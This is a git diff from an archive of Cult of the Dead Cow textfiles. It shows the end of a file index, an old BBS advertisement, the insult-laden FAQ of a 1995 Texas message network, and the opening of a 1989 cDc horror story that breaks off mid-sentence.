cDc-0174.txt 10822
 Self Defense by THE NIGHTSTALKER +
cDc-0175.txt 11510
 Fuck You, Swamp Rat by Swamp Rat +
cDc-0176.txt 9819
 cDc core #7 by The Pusher +
cDc-0177.txt 18108
 Feed 'Em to the Lions! by Tequila Willy +
cDc-0178.txt 5169
 How Do I Love Thee? by Suicidal Maniac +
cDc-0179.txt 21657
 Hip-Hop Primer by Birnbaum & Adler +
cDc-0180.txt 10369
 Amazingly True Things #1 by Swamp Rat +
cDc-0181.txt 11449
 Life Lost; Prosperity Gained by Suicidal Maniac +
cDc-0182.txt 5420
 Woooaaahhh, Nelly! by Tequila Willy +
cDc-0183.txt 9684
 cDc core #8 by The Pusher +
cDc-0184.txt 3813
 It Looked Back at Me by Tequila Willy +
cDc-0185.txt 13774
 The Future by Alien Hin +
cDc-0186.txt 37507
 Hip-Hop Primer #2 Part 1 of 2 by Mark Dery +
cDc-0187.txt 18375
 Hip-Hop Primer #2 Part 2 of 2 by Mark Dery +
cDc-0188.txt 6972
 The Illusion of Motion by Tequila Willy +
cDc-0189.txt 3685
 My Circumcision by Franken Gibe +
cDc-0190.txt 4826
 The Greater of Two Evils by Obscure Images +
cDc-0191.txt 13863
 The Jesus Lizard Interview by G.A. Ellsworth +
cDc-0192.txt 4468
 Compact Disc Scam by Tequila Willy +
cDc-0193.txt 22277
 Butch by Jane Delynn +
cDc-0194.txt 17593
 SatanTrek by Necrovore +
cDc-0195.txt 6858
 Earth Goo by Lady Carolin +
cDc-0196.txt 12551
 Interesting Things to Do With a Scanner by The Mad Hatter +
cDc-0197.txt 8687
 Ruth by Obscure Images +
cDc-0198.txt 13361
 Some General Observations by THE NIGHTSTALKER +
cDc-0199.txt 28988
 Presumed Guilty by Schneider, Flaherty +
cDc-0200.txt 124155
 The cDc #200 Higgledy-Piggledy-Big-Fat-Henacious-Mega-Mackadocious You-Can't-Even-Come-Close-So-Jump-Back-K-B00MIDY-B00MIDY-B00M File by Swamp Ratte' +
cDc-0201.txt 11765
 One Wrong Move by The Deth Vegetable +
cDc-0203.txt 12506
 The Briefing by Reid Fleming +
cDc-0204.txt 12720
 Life in General by Video Vindicator +
cDc-0205.txt 10321
 That Which Strikes Terror Into the Hearts of Men by Lady Carolin +
cDc-0206.txt 7205
 The Power of Art by THE NIGHTSTALKER +
cDc-0207.txt 6838
 F23 by Obscure Images +
cDc-0208.txt 3712
 A Visit to the Slaughterhouse by Transderm-Nitro +
cDc-0209.txt 16073
 Helmet Interview: July 17, 1992 by G.A. Ellsworth +
cDc-0210.txt 6669
 My Shit, and How to Strangle It by Tequila Willy +
cDc-0211.txt 7781
 Point of No Return by Dave Ferret +
cDc-0212.txt 125147
 The Krill File by O.H. Krill +
cDc-0213.txt 9472
 Smurf Impalement by Tequila Willy +
cDc-0214.txt 23171
 How to Break the Law by Anonymous +
cDc-0215.txt 4486
 Me As TV by Franken Gibe +
cDc-0216.txt 10857
 Amazingly True Things #2 by Swamp Ratte' +
cDc-0217.txt 22001
 Life in Wartime by The Deth Vegetable +
cDc-0218.txt 6121
 The Media and Campaign 1992 by Lewis & Morgan +
cDc-0219.txt 23060
 Sebadoh Interview: March 3, 1992 by G.A. Ellsworth +
cDc-0220.txt 10195
 A Child's Garden of Curses by Lady Carolin +
cDc-0221.txt 4761
 Sickness by Franken Gibe +
cDc-0222.txt 14919
 A Day in the Life of Debbie G1bs0n by The Madwoman +
cDc-0223.txt 22376
 The B!G Envelope Stuffing Scam by Hanover Fiste +
cDc-0224.txt 11074
 The Bird by Obscure Images +
cDc-0225.txt 9276
 Tequila Willy's Position Paper by Reid Fleming & Omega +
cDc-0226.txt 15600
 Simple Cryptology by Dave Ferret +
cDc-0227.txt 9835
 Big Ol' Heaping Pile of Shit by Suicidal Maniac +
cDc-0228.txt 25540
 ISDN: Fucking the Vacuum Cleaner Attachments by Reid Fleming +
cDc-0229.txt 17964
 The Evil Truth About Peter Pan by Lady Carolin +
cDc-0230.txt 7145
 The 2:00 O'Clock Bus by Tequila Willy & Bambi the Usurper +
cDc-0231.txt 12370
 Sunday Night Inside the Net by Obscure Images +
cDc-0232.txt 12369
 Fred, the Boy Everyone Hated by Allen Williams +
cDc-0233.txt 13174
 Desert Road Dick Disaster by Lady Carolin & Renee O'Willsie +
cDc-0234.txt 4219
 Hybrid Vigor by Curtis Yarvin +
cDc-0235.txt 4353
 Somethin' by Franken Gibe +
cDc-0236.txt 6341
 Easy Rider II by Erik Radmall +
cDc-0237.txt 6778
 The Fart of War by Havok Halcyon +
cDc-0238.txt 9446
 Clubbing by Xibo (Mr. Coates) +
cDc-0239.txt 10541
 Truckin' an' Fuckin' by Omega +
cDc-0240.txt 15805
 Condors, Ganja, Rah Rah Rah! by Clifton Royston & kEvin +
cDc-0241.txt 31373
 Cell-Hell by Video Vindicator +
cDc-0242.txt 25885
 The Darkroom by Mark Vaxlov +
cDc-0243.txt 9354
 Fortune Smiles by Obscure Images +
cDc-0244.txt 5216
 Radiocarbon Dating Service by Markian Gooley +
cDc-0245.txt 39106
 The U.S. Mercenary Army by Phil Agee +
cDc-0246.txt 14227
 The Monolith by Daniel Steven Reinker +
cDc-0247.txt 7100
 Post-Election '92 Cult Coverage by Omega +
cDc-0248.txt 4274
 The Lunatic Crown by Matthew Legare +
cDc-0249.txt 7410
 Yet Another Suicide by The Mad Hatter +
cDc-0250.txt 4513
 State of Seige by Curtis Yarvin +
cDc-0251.txt 6352
 The False Prophets by Lady Carolin +
cDc-0252.txt 7319
 The Bishop by Curtis Yarvin +
cDc-0253.txt 29157
 Better, Stronger, Faster by Omega, Reid Fleming & White Knight +
cDc-0254.txt 7091
 Hung Like a Horse by Krass Katt +
cDc-0255.txt 8591
 Mess o' Top Ten Lists by The Deth Vegetable & Iskra +
cDc-0256.txt 11127
 Fecal George by David Humphrey +
cDc-0257.txt 7355
 Goodnight, Benjamin by Tequila Willy +
cDc-0258.txt 15470
 Spontaneous Combustion and the Aryan Parade by FLaMinG SeVeReD HeaD +
cDc-0259.txt 15198
 The HoHoCon 1993 Experience by Count Zero +
cDc-0260.txt 6904
 Vegas, 1976 by Mad Mac +
cDc-0261.txt 71913
 Interview with Greta Shred by Reid Fleming +
cDc-0262.txt 23194
 _Beverly Hills 90210_ as Nostalgia Television by Crystal Kile +
cDc-0263.txt 25747
 What Color Is the Sky in Your World? by Tequila Willy +
cDc-0264.txt 42163
 Chicken Hawk by Mark E. Dassad +
cDc-0265.txt 10385
 Eye-r0N-EE by Swamp Ratte' +
cDc-0266.txt 6547
 Interview with Barbie by Clench +
cDc-0267.txt 4261
 About a Boy by Franken Gibe +
cDc-0268.txt 9039
 Mall Death by Snarfblat +
cDc-0269.txt 24351
 Prophile: Future History by THE NIGHTSTALKER +
cDc-0270.txt 8737
 Time out for Pop by Malcolm D. Moore +
cDc-0271.txt 12468
 Alvin Harper, Teen Killer by Krass Katt +
cDc-0272.txt 4762
 Curious Lack of Vigor by Clench +
cDc-0273.txt 4402
 Dumb and Isolated by Franken Gibe +
cDc-0274.txt 5316
 MaxiSpak Banana by R.M. Wood +
cDc-0275.txt 100047
 Joseph Smith: Man, Yes; Myth, Maybe; Prophet, NEVER! by Krass Kat +
cDc-0276.txt 7452
 Accessory by Orion +
cDc-0277.txt 114173
 RUSH TO JUDGEMENT: Why the World Won't End in September, 1994 by Omega & Reid Fleming +
cDc-0278.txt 8743
 Slowing by Tom Fawcett +
cDc-0279.txt 4665
 Hammers by Obscure Images +
cDc-0280.txt 7094
 Caught in the Spotlight by Peder Ast +
cDc-0281.txt 4952
 Official cDc Press Release Concerning President Reagan by Reid Fleming +
cDc-0282.txt 5209
 Argument by Markian Gooley +
cDc-0283.txt 15173
 Possibilities by Obscure Images +
cDc-0284.txt 13111
 Sanford's Calico by James Cazamias +
cDc-0285.txt 21249
 Concise Guide to Forgetting How Much You Suck by Jason Farnon +
cDc-0286.txt 10607
 The Divine Masters by Shriek Broomstraw +
cDc-0287.txt 5707
 Shotgun by Swamp Ratte' +
cDc-0288.txt 6246
 Rejection Letter Blues by Jeff Swanson +
cDc-0289.txt 19954
 Can There Be Artificial Intelligence? by Tequila Willy +
cDc-0290.txt 6306
 Bob Takes a Trip by Special Agent Finerty +
cDc-0291.txt 5287
 How The Grendel Stole Christmas by Annie +
cDc-0292.txt 5821
 Your Hometown by Jason D. Corley +
cDc-0293.txt 5265
 Santa Chulo by Ed Long +
cDc-0294.txt 6153
 At the Dining Hall by Tom Boutell +
cDc-0295.txt 13140
 A Christmas Pony by Grr Raoul Leash +
cDc-0296.txt 4142
 The Healer by Heckler +
cDc-0297.txt 4860
 Boxing Day by Patrick Burton +
cDc-0298.txt 5312
 The Pope Review by Curtis Yarvin +
cDc-0299.txt 6103
 Loneliest Being in the World by Broken Symmetry +
cDc-0300.txt 91289
 COWBEATER #3 by The cDc Cultees +
cDc-0301.txt 12026
 Ugly Fucker by Mark E. Dessad +
cDc-0302.txt 6636
 CULT OF THE DEAD COW Sought In Obscenity Case by WeaselBoy & Lizard +
cDc-0303.txt 8328
 How to Get By When You're Just As Dumb As Everyone Else, but Uglier by Snarfblat +
cDc-0304.txt 34392
 HoHoCon 1994.txt Tremendous Damage by Count Zero +
cDc-0305.txt 9055
 Last of the Expressionists by Haywire +
cDc-0306.txt 10272
 The Coward's Guide to Self-Defense by Sunspot +
cDc-0307.txt 12915
 mE t0o!@cDc-0$ by Mogel +
cDc-0308.txt 15622
 The Gnu-Warez Kidz' Guide to Pirating on the Internet by Tarkin Darklighter +
cDc-0309.txt 5805
 The Zen of Skateboarding, Part 1: Autumn Foliage by Thoai Tran +
cDc-0310.txt 6963
 Slough Off That Pagan Lust by Obscure Images +
cDc-0311.txt 9888
 If Six Was Nine by OXblood Ruffin +
cDc-0312.txt 16793
 Chick Comix by Craig Becker +
cDc-0313.txt 9717
 My Night Out by Obscure Images +
cDc-0314.txt 4937
 Gravity by James Cazamias +
cDc-0315.txt 11060
 Like Father, Like... by Sunspot +
cDc-0316.txt 5239
 My Bug-Pal by Nik +
cDc-0317.txt 5642
 Memory of Timothy Leary by WeaselBoy +
cDc-0318.txt 8286
 Streets of Beijing ("Four Year Anniversary") by Morrisa Sherman +
cDc-0319.txt 5432
 Zen of Skateboarding, Part 2: Revelation by Thoai Tran +
cDc-0320.txt 17590
 TEMPEST in a Teapot by Grady Ward +
cDc-0321.txt 13934
 Nineteen Seventy-Seven by OXblood Ruffin +
cDc-0322.txt 8318
 Pariah '67 by Matt Brown +
cDc-0323.txt 9928
 CYBERsitter by Peacefire +
cDc-0324.txt 13182
 Painted Stranger by WeaselBoy +
cDc-0325.txt 5782
 Zen of Skateboarding, Part 3: Flowing Stream by Thoai Tran +
cDc-0326.txt 7366
 The Great Southern Fire God by John Crow +
cDc-0327.txt 14006
 Vulnerabilities in the S/KEY One-Time Password System by Mudge +
cDc-0328.txt 4389
 Pantslessness by Mark Buda +
cDc-0329.txt 4826
 Quadro-Pounder by Drunkfux +
cDc-0330.txt 5817
 Happyland Cell Block 90210 by G. Allen Perry +
cDc-0331.txt 5213
 Angry Sun by Franken Gibe +
cDc-0332.txt 5613
 Don't Talk to Cops by Robert W. Zeuner +
cDc-0333.txt 5736
 BELLKORE Exposed! by Oderus Urungus +
cDc-0334.txt 8577
 How to be an Anarchist at 7-11 by Snarfblat +
cDc-0335.txt 8155
 Milk and Blood by Lady Carolin +
cDc-0336.txt 7986
 I'd Rather be Dead than Live in California by Oxblood Ruffin +
cDc-0337.txt 16904
 Reid Fleming: Lady Killer by Reid Fleming +
cDc-0338.txt 9263
 Who's Gonna Get Screwed Today? NetBIOS Attacks over TCP by SirDystic +
cDc-0339.txt 12090
 Political Rant #1 by THE NIGHTSTALKER +
cDc-0340.txt 8003
 Hacking PC/Payroll for Windows by Tarkin Darklighter +
cDc-0341.txt 7860
 R.I.P. by Poppy Z. Brite +
cDc-0342.txt 13117
 Wuss Vandals Get Hassled by the Man by Rev. Anna Truwe +
cDc-0343.txt 17399
 Some Form of Success by Weaselboy +
cDc-0344.txt 18830
 Wackers: The Secret Life of a 'Fantasy Maker' by Isis +
cDc-0345.txt 9090
 A Day Off for DrunkFux by DrunkFux +
cDc-0346.txt 5224
 The Man With The Creosote Grin by Oxblood Ruffin +
cDc-0347.txt 4555
 SPANK MY MONKEY by Lady Carolin +
cDc-0348.txt 6948
 When Cults Collide by The Nightstalker +
cDc-0349.txt 8447
 High School Reunion: The Nardcore Adventures of Reid Fleming by Reid Fleming +
cDc-0350.txt 6586
 Where Have My Heroes Gone? by KSM +
cDc-0352.txt 13598
 Remembrance of Things Past by Pixie +
cDc-0353.txt 6185
 Pulp Philosophy by Shadeshifter +
cDc-0354.txt 11332
 Unchained by Isis +
cDc-0355.txt 8347
 Shit-Burnin' by Cal Jacobson +
cDc-0356.html 27761
 The Longer March by Oxblood Ruffin +
cDc-0358.txt 17905
 San Francisco Cab Driver Stories by G.A. Ellsworth +
cDc-0359.txt 6034
 Dark Harvest by Sangfroid +
cDc-0360.html 22755
 The Journalist's Cookbook v1.0 by Reid Fleming +
camping.trip 3200
 The Camping Trip, by Franken Gibe of Cult of the Dead Cow (1988) +
cdc-0356.txt 27870
 CDC #356: The Longer March, by Oxblood Ruffin (July 15, 1998) +
cdc-0357.txt 5874
 CDC #357: Desecreating the Flag, by The Nightstalker (July 15, 1998) +
cdc-0360.txt 18726
 CDC #360: The Journalist's Cookbook, by Reid Fleming (July 15, 1998) +
cdc-dist 15323
 January 1st, 1993 List of cDc Distribution Sites +
cdc.press.rls 7168
 CDC Press Release, Lubbock Tx. (August 18, 1994) +
cdcdist.txt 22531
 July 1, 1993 list of cDc Distribution Sites +
cdchype.txt 987
 CDC Invites you to read CDC4_93 +
cdcindex.txt 17388
 cDc Communications Index (July 1, 1993) +
cdckc0w.txt 3279
 CDC-kC0W Phorce Introduction (April 1, 1993) +
cdcup12.txt 7103
 CDC Global Domination Update #12 (April 1st, 1993) +
cdcup13.txt 8460
 CDC Global Domination Update #13 (July 1st, 1993) +
cow.san 13184
 Cow-San, by Necrovore of Cult of the Dead Cow (1988) +
cyberpunk.rules 768
 Cyberpunk: The Rules (17 of Them) +
dance.of.cow 5120
 Dance of the Cow by Akira of Cult of the Dead Cow (1990) +
dead_cow.txt 33901
 Transcription of an Interview with Deth Veggie and Sir Dystic of Cult of the Dead Cow for "Cyber Attack!", an Episode of the BBS Program "Panorama" (July 3, 2000) +
death.bovine 7680
 Death and the Bovine, by lady Carolin, Priestess of the Cow (1989) +
eye.am.a.modeme 2048
 Eye Am A Modemer (Parody of Eye of the Beholder by Metallica by Morpheous of LOM) +
fatal.attract 7168
 Fatal Attraction For Real, by G.A. Ellsworth of Cult of the Dead Cow (1990) +
fuck.the.world 3968
 Fuck the World by Swamp Rat of Cult of the Dead Cow (1988) +
gun.control 4608
 Gun Control by The Pusher of Cult of the Dead Cow (1989) +
institutional 13056
 Institutionalized by Necrovore/Raver of Cult of the Dead Cow (1988) +
metal.geek.saga 6656
 Geek: The Saga Continues by The Pusher of Cult of the Dead Cow (1988) +
nameless.pastur 11520
 The Nameless Pasture by The Ravel, Teller of Strange Legends (1988) +
pizza.fest 2816
 A Trip to Nostalgia, a Trip to PowerPizzaFest! (November 15, 1994) +
prophecy.of.cow 3712
 The Prophecy of Cow by Franken Gibe of Cult of the Dead Cow +
renegade.cows 2560
 Renegade Cows by HAL 8999 of Cult of the Dead Cow (1986) +
scotty.sex.deth 4608
 Scotty's Tale of Sex and Death by Racer X (1988) +
second.txt 6255
 Creative Writing, Second Grade Style by Hanover Fiste (Critiques of His Own Work from Second Grade) +
song.of.the.cow 1920
 The Song of the Cow, a Poem, by Psychadelic Warlord of Cult of the Dead Cow (May 5, 1988) +
sunday 16384
 Sunday, by Peter Flechette of Cult of the Dead Cow (1990) +
tale.two.sexes 7040
 A Tale of Two Sexes, by Swamp Rat of Cult of the Dead Cow (1988) +
telenet.thingie 17792
 The Only Way to Get Telenet Thingies by Tequila Willy of Cult of the Dead Cow (1988) +
the.flesh.man 25728
 The Flash Man by Richard Avis of Cult of the Dead Cow (1989) +
the.reel.way 9088
 The Reel Way, or How to Win the Ego Wars by The Pusher and Leper Messiah of Cult of the Dead Cow (1988) +
three.cows 5504
 The Three Cows, by Lady Carolin (1990) +
trail.of.blood 8704
 Trail of Blood, by Sunspot of Cult of the Dead Cow (1988) +
ultra21.txt 172926
 ULTRA 21: A Guide to Boxing (Compilation of Files) by Sinister X (1993) +
visions.crusade 3456
 Visions from the Last Crusade, by Psychedelic Warlord (1988) +
yo.ramsacker 1408
 Some Thoughts on Textfiles from Swamp Ratte' of Cult of the Dead Cow +
yo.s.ratte 896
 Message to Swamp Ratte' About The Polka AE +

There are 410 files for a total of 5,121,742 bytes.

+ + diff --git a/textfiles.com/groups/CDC/aomt4.asc b/textfiles.com/groups/CDC/aomt4.asc new file mode 100644 index 00000000..6bf9a848 --- /dev/null +++ b/textfiles.com/groups/CDC/aomt4.asc @@ -0,0 +1,18 @@ + Ahead of My Time + + + Runing Renegade + Only the best in files & messages + H/P/A, Virus protection, Security/Anti-security, + Text, News of the Weird, BBS softwares, Encryption, + Church of the Sub Genuis, Essays/Reports, Upgrade Patches, + CRACKS/UnPROTECTS! + + Distro site for Bong Software (Makers of Barney Splat!) + CPA support site + cDc Global Domination Factory Direct Outlet + The best damn h/p/a/c/ect. in the Tennessee area! + FREEDOM OF SPEACH FOR ALL! + No damn warez d00dz + + 901.642.9290 901.642.9290 901.642.9290 901.642.9290 diff --git a/textfiles.com/groups/CDC/arcusnet.faq b/textfiles.com/groups/CDC/arcusnet.faq new file mode 100644 index 00000000..32ebe385 --- /dev/null +++ b/textfiles.com/groups/CDC/arcusnet.faq @@ -0,0 +1,155 @@ + ÜÜ ÜÜ +ÚÄÝÛÝ ÜßÜÜÞÞþ ÜÝß ÜÝß ÜßÜÜÞÞþ ÞÛÞÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ +³ ÝÛÝ ÝÝ Þ ÞÞ ÞÞ ÝÝ Þ ÞÛÞ ³ +³ ÝÛÝ Üþ ßÛ ßÛ Üþ ÞÛÞ [ArcusNet] FAQ ³ +³ ÝÛÝ ÜÝß ÞÞ ÞÞ ÜÝß ÞÛÞ ³ +ÀÄÝÛÝ ÜÝÝÝÜÜÜÝÝÜÝÝÜ ÜÝÝÜ ÜÝÝÝÜÜÜÝÝ ÞÛÞÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + ßß ßß Volume I, File I [110294] + Writer: Mephistopheles + + +ArcusNet was created Spring Break, 1995. + +The objective was to create a net specifically for the +intelligent and experienced message posters of the 817 area +code, free of bases dominated by woefully ignorant and +moronic 14 year-olds unaware of basic spelling, grammar, and +reality in general - that reality being that they suck. + +Sucking is becoming more socially acceptable these days - +bad trend, fellow intelligent persons (don't assume that was +directed to you, reader).. ArcusNet *is* a reactionary +institution, but one based upon our hopes for the +flourishing of the high standards we choose to enforce upon +ourselves. + +But enough of that.. the facts are, ArcusNet hosts the best +coders in Texas, and is currently the Net HQ for two quality +text groups and a superlative programming group, not to +mention 817's finest in general. + +If you're not in 817 and are a smart SysOp with an +established BBS and high-caliber message bases, over which +you have complete and utter control, and are willing to +comply with the standards of the net.. congratulations! +Good to know there's more of us! + +Just for the fun of it, since this *is* an FAQ, let's take +some questions.. + +Q: I just started my BBS, and I think ArcusNet would really + help it out - I don't have many users yet, but my mother + says I'm smart.. can I join? Pleeeeeease? + +A: No. + +Q: 1'vE hAd mY BbS uP 4 3 y3ArS - 1 RuN 6 28.8 n0d3z, 17 + g1gz 0f St0rAG3, AnD 1'm th3 m0st 3lyt3 m0th3rFuCk3r 0n + tH1s s0RrY LuMP 0f f1lTh.. I hAv3 aFfiLz RuNn1nG 0uT mY + AsS - 1 g3t mY WaR3z d1r3cTLy fr0m 3uR0p3 - AnD 1 + aPPar3ntLy r3c3iv3 s3XuAl gRAt1f1cAt10n fR0m Sp3LL1nG + pLuRAl w0Rdz w1Th z's AnD r3pLAc1nG o'z w1Th 0'z.. cAn 1 + J01N? + +A: No. You suck. 'd00dz' suck. This is an enduring truth. + Ditch your 0-day penis props and do something creative + with your pitiful life. You are a waste of organs. + +Q: Hey. I run a multinode BBS, with several hundred users. + I carry 3 international nets and several Internet + newsgroups, and I have thousands of cool texts online. + I code in ASM, and I look just like David Koresh. + +A: You suck, too, because you're cooler than we are. But + not by much, because I used to look like David Koresh, + too.. maybe you can have probationary status. + +Q: If I were to.. + +A: Yes, because you used the subjunctive mood correctly. I + love it when people do that, though they often suck + anyway. + +Q: You're the ones that suck - who are you to judge us? + Why is your definition of cool the only correct one? + +A: Whine, bitch, whine, bitch.. it's simply fact. BBSland + has amazing potential for stupidity and erroneous + self-importance, which, sadly, is usually realized. It's + getting harder to find things of any value not ridden + with idiotic angst (another fucking stupid trend) or + suffering from other equally lame mental diseases. We're + the ones to judge because we're better than and smarter + than the vast majority of others, especially those who + are even now crowding into BBSs hoping to be I<-r/´D + someday. + +Q: Can you be a little more specific about what goes on in + your supposedly awesome net? + +A: If I told you, your brain might catch fire. But here are + some broad hints - a general echo list, prose form: + We are forced by animal instinct to satisfy our various + intellectual urges by asking about relativity and vector + calculus - there's a base for the real stuff, the hard + stuff - a base dripping with slide-rules and barely- + legible scrawled diagrams of integral functions - this + base is called 'Illuminati'.. Fuck the stupid card game. + Need I repeat myself concerning our programming support? + The Best. Anything. Everything. Coders who just took + the classes and scraped by in their languages can discuss + their pet projects in Neophyte Programming, expecting and + receiving all the assistance they'll need.. on the other + hand, there is, again, a base with the real stuff. More + than semester-course programmers need or want to see - a + base for nothing less than the professional programer. + Religions, Metaphysics (for the astral projectors), Real + Musicians (not hacks who transcribe Nirvana), Literature, + Role-Playing Games - the Internet - all of these are + ArcusNet echoes, topics commonly found.. but remember, + this is ArcusNet, and if the user isn't competent, he + won't be posting for long. SysOps have their own + discussion area, and there is also the matter of Ouais + Mec! and [2112], two text file groups based on BBSs in + ArcusNet - each has its own support echo, where + applicants and members alike may post their submissions + for consideration and criticism. + +Q: Is it even possible to join this net, or are you just + teasing us, O rapist of both furry and slippery animals? + +A: Yes, it really is possible to join, and, believe it or + not after all of this, we really *want* people to join. + Not just anybody, though, which is what has made it so + much more complicated. + When asking a Swede working at a hotel pool why he had to + wear a swim cap, a wise man was told, "You should not + have to swim through other people's hair." + Are my analogies awesome or what? + +Q: I'm a reactionary, too.. how do I contact you? + +A: There's a list of our Internet E-mail addresses at the + end of this file, or you can give one of our BBSs a call. + We'll get back to you on your BBS asap, and should have + you importing and exporting echomail within a few days. + +Q: Can you end this file? + +A: Sure, here are those addresses: + +SysOp BBS BBS (817) Internet Address +---------------------------------------------------------------------- +Dante The Inferno 4518817 cody.russell@chrysalis.org +The Janitor The Janitor's Closet 2935751 mcy1536@utarlg.uta.edu +Mephistopheles The Nine Hells 3463370 mcy1536@utarlg.uta.edu +Rabies Paradox 3463710 dll0252@utarlg.uta.edu +---------------------------------------------------------------------- + + (\___ ___ ___/) +ÚÄ\___ ___/ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ \\__\ /__// TNH BBS. [2112] WHQ. NUP: Woodstock. 817.346.3370. ³ +³ \__\ /__/ SysOp: Mephistopheles CoSysOps: Delirium, Sputnik. ³ +ÀÄÄÄÄ\_____/ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + [2112] Productions, All Rights Reserved. + diff --git a/textfiles.com/groups/CDC/bear.trap.love b/textfiles.com/groups/CDC/bear.trap.love new file mode 100644 index 00000000..ad0827fc --- /dev/null +++ b/textfiles.com/groups/CDC/bear.trap.love @@ -0,0 +1,211 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Bear Trap of Love + by Krass Katt + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Steven came from a very unloving family. Although he was an only +child, his parents were usually too busy despising each other to pay him much +mind. His most vivid childhood memories were of sullen faces, threatening +fists, and constant bickering. It is no wonder then, that at a very early age, +Steve decided marriage was a trap to be avoided at all costs. + + In accordance with this resolution, Steve spent his early teenage +years, for the most part, avoiding the opposite sex. Sure, there were moments +when a hint of perfume or the curve of girlish hips would arouse in him that +vague animal lust so peculiar to the pubescent male. But those lapses were +always short-lived, for his built-in defense mechanism would soon conjure up +pinched images of his mother's owlish face so grotesque he would turn away from +the object of his longing with disgust. + + Strangely enough, it was this very reticence that made Steve most +appealing to those he sought to evade. Also, by the time he was seventeen, he +had become so darkly handsome, with his flashing black eyes and chiseled +features, that every girl in his class longed to be the one to unlock the +mysterious brooding that possessed him. + + At first, Steve was puzzled by the alluring glances of the girls who +sized him up as he took his seat in History or English class. When the awful +truth finally dawned on him, he reacted like all true masters of any game - he +used his knowledge to conquer and destroy his opponent. Naturally, being so +young, Steve saw these objectives in purely sexual terms. + + So began a long string of girlfriends that the found, unwrapped, an +unwound. If this description sounds a bit cold and formulistic, it was meant +to be, for Steve soon developed a foolproof strategy that could be described in +no other manner. + + Invariably, each of Steve's encounters began when he permitted the +female to make the first move. This gave his "prey" a false sense of security +while, at the same time, making him appear vulnerable until he had gained a +girl's complete trust. That usually didn't take long, considering his natural +cunning and facility with the tender phrase. As some of the beraved ladies +were to remark after his disappearance, "Steve could charm a vampire out of a +blood bank!" + + Another useful tactic Steve learned after two or three "romances" was +to keep his woman off guard through a mixture of sweetness and cruelty. As a +matter of fact, it seemed that a girl became hooked on him even sooner if he +was lackadaisical about returning her phone calls or avoided her in the halls +at school. It was also this same enigma that made it doubly hard for him to +dispose of a lover once he had his way with her. Each abuse he heaped upon a +girl always made her want him twice as bad. Little did she understand this his +strained conversation and paleness were merely manifestations of the human +animal balking from a trap. + + Despite all the turmoil caused by his love life, Steve's senior year in +high school went very well until a couple of weeks before the prom. At the +time he was between girls and had to decide which lady should be given the +privilege of taking him to the dance. He had pretty much narrowed it down to a +pair of luscious juniors (who had been in hot pursuit for months) when the most +peculiar thing occurred one morning before homeroom period. + + As was his custom, Steve was strolling down the hall "taking +inventory." He was so intent on rating each girl he passed - noting her +figure, face, and future possibilities - that it took him a while to realize +that he, too, was under surveillance. + + Fearing that a teacher or a principal had guessed his game, he wheeled +stiffly around, half expecting to discover a ferret-faced adult behind him. +Instead, he found himself examining the shapeliest girl he had ever +encountered. Such a judgment was easy to make, considering she stood framed in +a sunlit doorway which revealed every shadowy curve of her body through her +dress. Ironically, the same dazzling glare that highlighted her figure, also +masked her cocked face in a blinding aura of amber light. + + As Steve took note of every delicious inch of the girl's body, he +became instantly aroused. He started to compliment her several times with his +old line but found his throat so unnaturally constricted that he was unable to +speak. Disarmed in this manner, he felt almost naked himself. In fact, he was +so uncomfortable, he never questioned why such a dainty girl should wear a +spiked chain bracelet more befitting the Hell's Angels than a High School +girlie. + + At last, the girl shot Steve a dazzling smile, and he began babbling +disjointed phrases that could have made no possible sense to anyone but her. +When he walked dazedly away a few minutes later, even he could recall only that +the girl's name was Hester, and that HE had asked HER to the prom. He still +had not distinctly seen her face. It's doubtful he could have resisted, +anyway.... + + On the night of the big prom, Steve was uncharacteristically +apprehensive. He stayed locked in his bedroom all evening, adjusting his tux +and fussing over his appearance. Finally, with the eighth chime of the hall +clock ringing in his head, he stomped downstairs to hiss goodbye to his +parents. He was especially uncivil to his mother when she dropped his date's +corsage while snatching it from the refrigerator. His father's joke about him +looking like a "stiff in a monkey suit" went over about as well. + + Even behind the wheel of the old man's car, Steve couldn't relax. +Nothing playing on the radio satisfied him, and he skipped from station to +station as he wondered why he had not seen his date since that morning in the +doorway. It seemed just plain and unnatural that she hadn't called him on the +phone or, at least, waited around for him after school. Was it possible that +she actually planned to stand him up? How foolish he would look if he went to +the biggest social event of the year with no lady hanging on his arm! + + Only visions of Hester's sweet, shadowy body kept Steve from totally +panicking as he turned on to Denizen Street and headed toward the address the +girl had given him during their only encounter. Could it be that such a +glamorous creature actually lived in such a dingy neighborhood? He spotted her +soot-blackened apartment house sitting dwarfed beneath the smokestacks of a +meat processing plant. As it was, he barely noticed the reek of old blood from +the slaughter- house next door when he leapt from his vehicle and charged up +the front steps. + + With his pulse thundering in his temples, Steve tapped lightly on the +front door. Although it was a muggy May night, his teeth chattered, and his +eyes had a vague, glazed look about them. He was forced to rap more vigorously +before he discerned the clatter of high heels approaching from inside. + + Finally, the door creaked open and Steve was blinded by a blast +furnace-like flash of light. Only Hester's enticing voice told him he was +indeed at the right address. He did not step inside, however, until her hot +fingers closed about his own. + + When the boy's eyes had adjusted to the glare, he found himself +standing in a cavernous living room, the entire back wall of which was +dominated by a fireplace. A mantel lined with hideous ebony curious ran the +full length of this wall. Elsewhere about the chamber were scattered various +pieces of furniture made of polished black oak. These glistened with such +brilliance, they appeared to generate their own light. + + Steve's eyes eventually came to rest again on Hester where she stood +with the firelight dancing seductively on her face. Her own eyelids were coyly +downcast, and she was 